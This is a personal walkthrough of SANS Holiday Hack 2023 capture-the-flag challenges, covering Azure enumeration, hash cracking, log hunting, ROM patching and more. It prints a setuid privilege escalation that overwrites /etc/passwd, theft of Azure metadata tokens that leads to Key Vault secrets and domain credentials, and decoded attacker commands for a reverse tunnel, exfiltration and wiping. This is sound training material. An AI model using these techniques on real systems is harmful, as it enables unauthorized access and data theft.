SANS Holiday Hack 2023 Write-Up

Azure 101

  • Get help with az help | less
  • List all resource groups: az group list
  • List all function apps within a resource group: az functionapp list -g northpole-rg1
  • List the only VM in the resource group you have access to: az vm list -g northpole-rg2
    • You don’t have access to any VMs in the other resource group, northpole-rg1
  • Invoke a run-command against said VM so you can run RunShellScript and get a directory listing to reveal a file on the Azure VM
    • az vm run-command invoke -g northpole-rg2 -n NP-VM1 --command-id RunShellScript --scripts "ls"

Hashcat

  • But heed this advice to temper your pace, -w 1 -u 1 --kernel-accel 1 --kernel-loops 1, just in case.
  • Speed isn’t the key, use patience. Run the command slow using those flags
  • Hints on the hash when you’re stuck: https://hashcat.net/wiki/doku.php?id=example_hashes
  • Once you crack it, run /bin/runtoanswer
  • Overall: determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct

Hash seems to be krbasrep (from the hash.txt, and the objective text). That equates to 18200 as the “type ID”.

With the flags given from the prompt, this is my command:

hashcat hash.txt password_list.txt -m 18200 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 –force

In .hashcat/hashcat.potfile:

IluvC4ndyC4nes!

Linux PrivEsc

Hint

  • Various methods of privesc: https://payatu.com/blog/a-guide-to-linux-privilege-escalation/
  • Using the privileged binary to overwrite a file to escalate privileges could be a solution, but there’s an easier method if you pass it a crafty argument.

    Objective

    Find a method to escalate privileges inside this terminal and then run the binary in /root

    Progress

    Since the hints mentioned a potentially vulnerable setuid binary, I used find to enumerate binaries with that permission:

    elf@567abb6ead5b:~$ find / -perm -u=s -type f 2>/dev/null
    /usr/bin/chfn
    /usr/bin/chsh
    /usr/bin/mount
    /usr/bin/newgrp
    /usr/bin/su
    /usr/bin/gpasswd
    /usr/bin/umount
    /usr/bin/passwd
    /usr/bin/simplecopy
    

/usr/bin/simplecopy jumps out at me, since the other binaries are standard Linux utilities.

It appears that simplecopy is a simple wrapper for cp, but it runs as root. With that knowledge, we effectively have write permissions on any file on the system.

I crafted a custom passwd file with the following line at the end of it:

root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash

Using simplecopy we can overrwrite the original passwd file:

elf@567abb6ead5b:~$ /usr/bin/simplecopy mypasswd /etc/passwd

And switch to the new root2 user:

elf@567abb6ead5b:~$ su root2
Password: 
root@567abb6ead5b:/home/elf# 

From there, you only need to run /root/runmetoanswer.

Luggage Lock

Hint

Lock talk

Talk notes:

  • Position the notches, then use that as a starting combination
  • Rotate the number combos left each by 1, you will unlock it within 9 tries (i.e., 6 - 3 - 1, to 5 - 2 - 0, to 4 - 1 - 9)
  • To solve the challenge:
    • Put little pressure, not too much, not too little on the button/keyhole
    • Spun tumblers until you encounter resistance
    • Then, push the button all the way to open the luggage

      Objective

      Get back into the luggage by finding the correct position for all four dials.

      Progress

      Just opened each lock according to the technique described in the talk.

Na’an

Hint

  • The Upper Hand: Shifty said his deck of cards is made with Python. There is a weakness in his game which will let you win.
  • Stump the Chump: Try to outsmart Shifty by sending him an error he may not understand.

Objective

Win the game, despite Shifty cheating.

Pick five unique cards numbering from 0-9.

Whoever picks the lowest and highest numbers gets a point for each. If you and shifty both pick the same number that is canceled out.

First one to 10 points wins.

Progress

Notes on Python NaN Injection:

  • In python, a variable can be injected with a string called NaN (Not a Number) and when it encounters another variable, it can consume it.
  • I.e., the number 1 can be added to a float that contains a NaN, and the output will be NaN. NaN is extremely greedy.
  • You can get NaN by simply dividing positive + negative infinity.
  • Infinity can be reached through the addition of non-infinite real numbers such as 1e308 + 1e308.

Try this:

8 1 NaN 9 0

Shifty will match all your other numbers, except for NaN. He doesn’t know what that is, so he puts 2 against it. The program treats NaN as higher (or lower?) and you win everytime.

Do that 5 times, and the challenge is won.

KQL Kraken Hunt

Hint

Outbound connections: Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!

KQL Tutorial: Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.

Objective

Use Azure Data Explorer to “uncover misdeeds” in Santa’s IT enterprise.

Per the elf: there is a network infection spawned from a clicked phishing link. Before you start, you need to create a free cluster.

Keep your eyes peeled for suspicious activity, IP addresses, and patterns that will help us crack the case.

Progress

https://detective.kusto.io/sans2023

Onboarding

How many Craftperson Elves are working from laptops? 25

Employees 
| where role == "Craftsperson Elf"
| where hostname has "laptop"
| count 

Case 1

What is the email address of the employee who received this phishing email? alabaster_snowball@santaworkshopgeeseislands.org

OutboundNetworkEvents 
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

And

Employees 
| where ip_addr == "10.10.0.4"

What is the email address that was used to send this spear phishing email? cwombley@gmail.com

Email
| where recipient == 'alabaster_snowball@santaworkshopgeeseislands.org' 
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

What was the subject line used in the spear phishing email? [EXTERNAL] Invoice foir reindeer food past due

Same query as before

Case 2

All done with this query:

Employees 
| where ip_addr == "10.10.0.4"

What is the role of our victim in the organization? Head Elf

What is the hostname of the victim’s machine? Y1US-DESKTOP

What is the source IP linked to the victim? 10.10.0.4

Case 3

What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs! 2023-12-02T10:12:42Z

OutboundNetworkEvents 
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

What file is dropped to Alabaster’s machine shortly after he downloads the malicious file? Giftwrap.exe

FileCreationEvents 
| where timestamp between (datetime(2023-12-02T10:12:42Z) .. datetime(2023-12-02T15:12:42Z))
| where hostname == "Y1US-DESKTOP"

Case 4

The attacker created a reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? 113.37.9.17

ProcessEvents
| where hostname == "Y1US-DESKTOP"

Found by scrolling through and noticing ligolo - a reverse tunneling tool.

"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof

What is the timestamp when the attackers enumerated network shares on the machine? 2023-12-02T16:51:44Z

ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "share"

Shows one event where the attacker runs net share.

What was the hostname of the system the attacker moved laterally to? NorthPolefileshare Same query

Towards the bottom:

2023-12-24T15:14:25Z    cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123

At 2023-12-25T10:44:27Z is a suspicious PS encrypted command

Decrypts (b64) to C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

Case 5

When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine? 2023-12-24T16:07:47Z

ProcessEvents
| where process_commandline has "enc"
| where hostname == "Y1US-DESKTOP"

Note that one earlier command exists than this timestamp, but it is legitimate, not from the attacker.

What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) NaughtyNiceList.txt

Same query, just had to de-encode B64 and then reverse the text.

The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to? giftbox.com

Event at 2023-12-24T16:58:43Z was B64 encoded, after decrypting:

[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN

Ran in an interpreter to find the domain name:

PS /Users/justen.mehl/p1/git/confluence> [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

Case 6

Query for both:

ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "share"

Decrypts to: C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

What is the name of the executable the attackers used in the final malicious command? downwithsanta.exe

What was the command line flag used alongside this executable? –wipeall

Final answer (credit for Holiday Hack): Beware the Cube that Wombles

Phish Detection Agency

Hint

DMARC, DKIM, and SPF, oh my!: Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare’s guide.

Objective

There is a flood of unusual emails coming from ChatNPT. They are using ChatNPT as a “filter” for phishing attempts, but it may not be working.

Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.

Progress

Resource notes:

  • SPF, DKIM, and DMARC help authenticate email senders by verifying that the emails came from the domain they claim to be from.
  • Together, they prevent spammers/phishers from sending emails on behalf of a domain they do not own.
  • DKIM and SPF can be compared to a doctor’s medical degree displayed on the wall - they help demonstrate legitmacy
  • DMARC, however, tells mail servers what to do when DKIM or SPF fail - mark it as spam, deliver it anyway, or drop the email altogether.
  • SPF, DKIM, and DMARC records are stored in publicly-available DNS TXT records

Sender Policy Framework (SPF):

  • Lists all the IP addresses of the all the servers that are allowed to send emails from the domain
  • Mail servers that receive an email from X domain can check it against the SPF record before passing it to the recipient

DomainKeys Identified Mail (DKIM):

  • Enables domain owners to automatically, digitally “sign” emails from their domain
  • Uses PKI (the DKIM record stores the domain’s public key, and the private key is kept secret by the sender, who signs the email’s header with this key)
  • Mail servers receiving the email can verify that the sender’s private key was used by applying the public key

Domain-based Message Authentication Reporting and Conformance (DMARC):

  • Tells a receiving email server what to do given the results after checking SPF and DKIM
  • Quarantine, reject, or deliver anyways

How to check if an email has passed SPF, DKIM, and DMARC?

  • Email clients have a “show details” button that shows the header of the email. That is where the results of SPF/DKIM/DMARC show
  • The header is dense, so you can search for “spf”, “dkim” or “dmarc”
  • Might look like this:
    arc=pass (i=1 spf=pass spfdomain=example.com dkim=pass
    dkdomain=example.com dmarc=pass fromdomain=example.com);
    

The word “pass” in the text above indicates the email passed an auth check. In that example, it passed all the checks (spf=pass, dkim=pass, dmarc=pass)

Domain in the challenge is geeseislands.com

SPF: v=spf1 a:mail.geeseislands.com -all

DKIM:

v=DKIM1;t=s;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjtqsLqwecFGF7AmP+Siln86O1v9NOKJw4ZsEHDV5fo0Vjj0qNPyyARKSkDmnIKjnzLGUUQO31Fr+vdZU61IaI9/ZD39WJKaAeX96uQ65mRQqqPVYxPLN5OvuFRmIHJ/TgOkD6z5/7VM7Zs1kw5Qnl04FmOLwWd00D+uNZnj8TCwIDAQAB

DMARC: v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-reports@geeseislands.com

Basically, go through all emails and flag for phishing emails that A) have a DMARC failure, or B) have conflicting return domains.

Faster Lock Combination

Objective

Break into a padlock.

Progress

Notes on video:

  • Step 1: finding the sticky number
    • Reset the lock
    • Put some tension on the shackle, turn counter-clockwise until you encounter resistance
    • Stick number seems like 20
  • Step 2: finding the guess numbers
    • Adjust tension and roll, resistance will be found between half numbers
    • These 2 numbers will lie between 0 and 11
    • Guess #1: Between 2.5 and 3.5 == 3
    • Guess #2: And between 3.5 and 4.5 == 4
  • Step 3: The Math
    • Part A: Finding the First Digit
      • Note: Why did he pick three here and not zero? Might be an issue here
      • 4 + 5 = 9
    • Part B: Finding the Third Digit
      • 9 / 4 = 2 with remainder of 1
      • 3 - 13 (p) - 23 - 33 (p)
      • 4 - 14 - 24 - 34
      • 13 or 33 are two possibilities
      • Find that number on the lock
      • Put heavy tension on the shackle
      • Try turning it
      • If it’s tight, then it’s not it
      • If it looser, then that is it
      • 13 was looser for sure
    • Part C: Finding the Second Digit (8 Possibilities)
      • 3 - 11 - 19 - 27 - 35
      • 7 - 15 - 23 - 31 - 39
      • The second and third digit must be greater than 2 digits away
      • Narrowed it down to underlined ^
  • Step 4: Testing it Out
    • 1st Digit: 9
    • 2nd Digit: 3, 19, 27, 35, 7, 23, 31, 39
    • 3rd Digit: 13
    • How to test:
      • Right key: directly to the first digit
      • Left Key: 1 full turn, passing the first digit, end at second digit
      • Right key: directly to the third digit

2nd attempt:

  • 3.5 and 4.5 = 4
  • 6.5 and 7.5 = 7
  • Used this website instead, as recommended by discord: https://samy.pl/master/master.html
  • Worked on my second or third “second” digit attempt

Game Cartridges

Hint

Vol 3: Bird’s Eye View: The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.

Vol3: 1) This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.

Vol 2: 1) This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.

Objective

Find Gamegosling cartridges and beat the game (x3 times).

Progress

Vol 1

Solved the block puzzle the actual, gamified way.

Vol 2

Need to download both versions of the emulator file locally, so I can do some RE (diffs I think).

It randomly picks rom/game1.gb or rom/game0.gb on launch Game1.gb has the exit facing south Game0.gb has the exit facing north No difference from what I can see visually

Boom, downloaded both the roms at https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb and game1.gb. Figured that out by looking at the script.js source code and the Sources tab in my browser.

So now, I figure I need to make changes to this ROM somehow, and upload it + play at an online emulator: https://taisel.github.io/GameBoy-Online/

My changes should include a way to pass the wizard (or change his dialog to say “you shall pass”).

Diff between the two (only 12 bytes are different):

PS C:\Users\juste\Downloads> fc.exe /b game1.gb game0.gb
Comparing files game1.gb and GAME0.GB
0000014F: 86 B3
00000593: D2 0B
00000594: AC 4B
00000595: 3D 9A
00000596: 2D 23
00016A84: 0B 03
00016AB8: 06 09
00017C80: 01 02
0001850E: 03 02
0001850F: 00 80
00018513: 04 0B
00018514: 00 80

Boom! I used HxD to find where the message “you shall not pass” was, and just patched 00 to the bytes that represented “not”. Was able to walk right through after that.

Took me to a small room with a robot looking thing, named “ChatNPT”: “I love old-timey radio!”

Interacting with the radio plays what seems to be morse code. I recorded the A/V with my gameboy emulator, stripped the video from it, and put it into an online morse code decoder.

The text I got back was TNL0RY G even though the audio quality was perfect in my recording…but I could surmise that this was supposed to be GL0RY. That is the flag.

Vol 3

Dialog: Marketing wants [5] nines, but it is actually [3] nines.

First goal is to get to 999 coins. Can’t regularly do that, it skips right back to 100 coins after you try to get it.

My tentative plan is this: modify the save state file (game.sav) to make my coins 999, and then have the wizard “restore” from that file.

I can open the sav file in a hex editor. But where do I modify that value? Can’t find my coin hex value anywhere in the file.

Mucking around in cheat Engine, I can see that I’m supposed to get 999 coins and say the phrase “morethanmeetstheye” to ChatNPT. No idea how to get there though. I’m hoping that the sysadmin will have something different to say once I get 999 coins.

Standard GBA emulator + cheat engine seems like a decent path forward (at least ChatGPT says so). But..still can’t find that memory location that contains the “coin” integer. No idea how to proceed, going to table it.

Here are a few experiments in which I was trying to find the memory location that controlled the coin value:

251,252c251,252
----think this has to do with my coordinates somehow actually - I spawned off the side of the screen when I modified these. May help to cross the jump?

< 00000fa0: 0865 4f21 0007 0007 0200 0f00 0700 0202  .eO!............
< 00000fb0: 030f 1002 0000 0001 0102 0203 0304 0506  ................
---
> 00000fa0: 0865 4f21 0006 8006 0100 0f00 0700 0101  .eO!............
> 00000fb0: 020f 1001 0000 0001 0102 0203 0304 0506  ................
2,4c2,4

coins: 111
< 00000010: 0000 0000 0100 0100 0100 0100 0100 0100  ................
< 00000020: 0100 0100 0100 0100 2d00 0100 2d00 0000  ........-...-...
< 00000030: 0100 0100 0100 0100 0100 0100 0100 0100  ................
---

coins: 112
> 00000010: 0000 0000 0200 0200 0100 0100 0200 0200  ................
> 00000020: 0100 0100 0200 0100 b200 0200 2d00 0000  ............-...
> 00000030: 0100 0200 0100 0100 0100 0100 0100 0100  ................

^^^ Coin location seems to be here. I changed it from 113 to 153 by changing random values.

2,4c2,4
coins: 112.hex

< 00000010: 0000 0000 0200 0200 0100 0100 0200 0200  ................
< 00000020: 0100 0100 0200 0100 b200 0200 2d00 0000  ............-...
< 00000030: 0100 0200 0100 0100 0100 0100 0100 0100  ................


coins: 113.hex
---
> 00000010: 0000 0000 0300 0300 0100 0100 0300 0300  
> 00000020: 0100 0100 0300 0100 7900 0300 2d00 0000
> 00000030: 0100 0300 0100 0100 0100 0100 0100 0100

^ in above: 7900 -> 85 EA 2d00 -> 0F 33

== 10 coins. Not sure why that is.

Confirmed I am in the right location by my discord contact.

Pretty sure 7700 and fe00 are the key. What do I change them to? No idea. Maybe increment by 1 (in hex)?

Tried fe to ff: changed it to 098 instead of 998.

Tried fe to 0e: changed it to 098 instead of 998.

–This leads me to believe that fe00 control the first digit? So I shouldn’t touch that one, i’m trying to edit the last digit to 999.—

Tried 77 to 78: changed it to 990 instead of 998.

Tried 77 to 76: changed it to 990 instead of 998.

Tried 77 to 87: changed it to 990 instead of 998.

Tried 77 to 66: changed it to 990 instead of 998.

Tried 77 to 99: changed it to 990 instead of 998.

Tried 7700 to 7722: changed it to 990 instead of 998.

I have no idea how it’s being stored/calculated here. Trying to get ChatGPT to figure it out.

No luck really with ChatGPT. Tried to recreate this from scratch (new file), and I modified the bytes to match the above, but I only get 908. So I think i’m missing some bytes.

Changed FE to FC, got 784 instead of 789. <- consistent

Changed FC to FF, got 780. FC == 252, FF == 255

FD should get me 788? Nope it gets me 780.

FE is apparently nine (and not the actual decimal value, which is 254). I already knew the memory locations, I just had to change them all to FE and it was all good. The correct memory locations were the values that stood out, not the ones that represented the actual digits of the number.

Flag is !tom+elf!

Certificate SSHenanigans

Hint

Azure Function App Source Code: The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.

Azure VM Access Token: Azure CLI tools aren’t always available, but if you’re on an Azure VM you can always use the Azure REST API instead.

SSH Certificates Talk: Check out Thomas Bouve’s talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.

Objective

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

From dialog: I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!

It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!

If may be insecure though. Can you look at it before I deploy?

Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.

If you haven’t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.

Oh, and if you need to peek at the Function App code, there’s a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Progress

First small goal: generate yourself a certificate and use the monitor account to access the host.

Grabbed the ssh cert from that web app. How do I use it though? Should check the video.

Made both my keys plus the cert in ~/.ssh. SSH command is:

ssh monitor@ssh-server-vm.santaworkshopgeeseislands.org

Once logged in there, it’s just a “Satellite Tracking Interface” that tracks the position of a satellite. You can ctrl+c out of it though to get a shell.

Need to get to /home/alabaster probably to see the TODO list. Alabaster is uid 1000.

Discord says to get the source code for the web app and go from there.

Side note: the /etc/ssh directory is very important (as monitor): In ca.pub:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWH Elf Certificate Authority

The auth principal we need is admin instead of elf. That corresponds to alabaster.

Intercepting with burp shows that we pass the pub key as JSON. There’s probably another option to pass here, that’s why I need the source code. Reportinator alludes to this too.

We used the OWASP Zed Attack Proxy (ZAP) tool, shown in Image 2, to intercept and modify HTTP requests and observe the application's response. SCS discovered the application will accept a sign-principal parameter in the request body, which is not documented in the Azure Function App documentation. SCS tested the impact of this parameter by changing its value to different usernames, and verifying the signatures of the returned SSH certificates. This vulnerability could be exploited to sign SSH keys for arbitrary users, effectively bypassing authentication controls and allowing unauthorized SSH access

Solved! Didn’t get the website source code. Using the hints and everything, I just intercepted with Burp, set principal: admin and used that key it returned as alabaster. From there, the markdown file was in his home dir.

SSH command: ssh alabaster@ssh-server-vm.santaworkshopgeeseislands.org

Flag: gingerbread

Active Directory

Hint

Misconfiguration ADventures: Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Useful Tools: It looks like Alabaster’s SSH account has a couple of tools installed which might prove useful. Impacket is installed in their home directory.

Objective

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?

From dialog: Since you have access to Alabaster’s SSH account that means you’re already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

Progress

Seems like I have to pivot from that alabaster SSH session I have to the FileShare using impacket. How to do that, not sure.

Need to revisit last challenge a bit.

Reference the Hint by sparkle redberry and use the curl command in that documentation to get an access token.

Did that ^ with:

alabaster@ssh-server-vm:~$ response=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s)
alabaster@ssh-server-vm:~$ access_token=$(echo $response | python -c 'import sys, json; print (json.load(sys.stdin)["access_token"])')
alabaster@ssh-server-vm:~$ echo The managed identities for Azure resources access token is $access_token

Query Azure api endpoints. Some require an access token to get to. that’s my goal for now: enumerate the Azure environment and find some crucial info to pivot to AD.

Subscription ID (from Azure 101): 2b0942f3-9bca-484b-a508-abdae2db5e64

Listing the resource groups:

alabaster@ssh-server-vm:~$ curl -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups?api-version=2021-04-01

{"value":[{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1","name":"northpole-rg1","type":"Microsoft.Resources/resourceGroups","location":"eastus","tags":{},"properties":{"provisioningState":"Succeeded"}}]}

That tells me I have access to northpole-rg1 (again).

You can list all resources in a resource group:

alabaster@ssh-server-vm:~$ curl -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/resources?api-version=2021-04-01

{"value":[{

"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name":"northpole-ssh-certs-kv",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{}},

{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name":"northpole-it-kv",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{}}
]}

Ok, looks like I have access to two different KeyVaults. One called northpole-ssh-certs-kv and northpole-it-kv. I probably need something in the latter.

Getting the KeyVault reveals this:

alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv/?api-version=2022-07-01 | jq
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
  "name": "northpole-it-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-10-30T13:17:02.532Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-10-30T13:17:02.532Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "Standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [],
    "enabledForDeployment": false,
    "enabledForDiskEncryption": false,
    "enabledForTemplateDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "enableRbacAuthorization": true,
    "vaultUri": "https://northpole-it-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

The other vault is a bit more promising:

alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv/?api-version=2022-07-01 | jq
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
  "name": "northpole-ssh-certs-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-11-12T01:47:13.059Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-11-12T01:50:52.742Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
        "permissions": {
          "keys": [
            "all"
          ],
          "secrets": [
            "all"
          ],
          "certificates": [
            "all"
          ],
          "storage": [
            "all"
          ]
        }
      },
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
        "permissions": {
          "secrets": [
            "get"
          ]
        }
      }
    ],
    "enabledForDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

It looks like there are secrets stored here. I’m attempting to list secrets but I’m running into the error I thought I would experience:

alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 | jq
{
  "error": {
    "code": "Unauthorized",
    "message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
  }
}

Looks like I need a new access token, with the scope for vault.azure.net instead of management.azure.com.

Did that, and did the same query using my new token:

alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $vault_access_token" -H "Content-Type: application/json" https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 | jq
{
  "error": {
    "code": "Forbidden",
    "message": "The user, group or application 'appid=b84e06d3-aba1-4bcc-9626-2e0d76cba2ce;oid=600a3bc8-7e2c-44e5-8a27-18c3eb963060;iss=https://sts.windows.net/90a38eda-4006-4dd5-924c-6ca55cacc14d/' does not have secrets list permission on key vault 'northpole-ssh-certs-kv;location=eastus'. For help resolving this issue, please see https://go.microsoft.com/fwlink/?linkid=2125287",
    "innererror": {
      "code": "AccessDenied"
    }
  }
}

Maybe the identity I’m using in my bearer header doesn’t match up with the object ID that apparently has get/secrets. Decoding hte B64 for my tokens gives me the OIDs:

Access_token:          600a3bc8-7e2c-44e5-8a27-18c3eb963060
Vault_access_token: 600a3bc8-7e2c-44e5-8a27-18c3eb963060

Or I could have just read the error.

I need an OID of 0bc7ae9d-292d-4742-8830-68d12469d759 for all permissions on keys, secrets, certs, and storage.

I need an OID of 1b202351-8c85-46f1-81f8-5528e92eb7ce for get/secrets permissions.

How do I pivot my OID? Guess I need a new access key again, with those permissions. But the IMDS curl command I used before doesn’t really support any more arguments. Missing something here.

Discord nudge helped me. I don’t have secret/list permissions to that SSH cert keyvault, but I do have that permission to the IT keyvault (the one I was looking at originally…).

alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $vault_access_token" -H "Content-Type: application/json" https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/?api-version=7.4 | jq
{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

Important info from that:

UserName: elfy
UserDomain: northpole.local
Password: J4`ufC49/J4766
DC IP: 10.0.0.53

Can I access the share using those creds? Yes!

alabaster@ssh-server-vm:~$ smbclient.py northpole.local/elfy@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Password: <paste it in here, right click>
Type help for list of commands

# use FileShare
# ls
drw-rw-rw-          0  Tue Dec 19 01:15:12 2023 .
